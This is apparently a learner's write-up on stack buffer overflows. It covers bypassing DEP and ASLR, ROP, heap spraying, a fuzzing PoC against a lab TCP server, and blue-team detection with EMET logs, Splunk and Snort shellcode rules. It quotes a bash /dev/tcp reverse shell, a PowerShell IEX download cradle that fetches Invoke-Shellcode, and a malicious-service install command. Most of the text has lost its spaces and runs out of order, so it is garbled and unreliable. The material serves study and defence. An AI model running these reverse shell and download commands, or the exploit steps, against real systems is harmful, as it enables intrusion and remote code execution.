overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
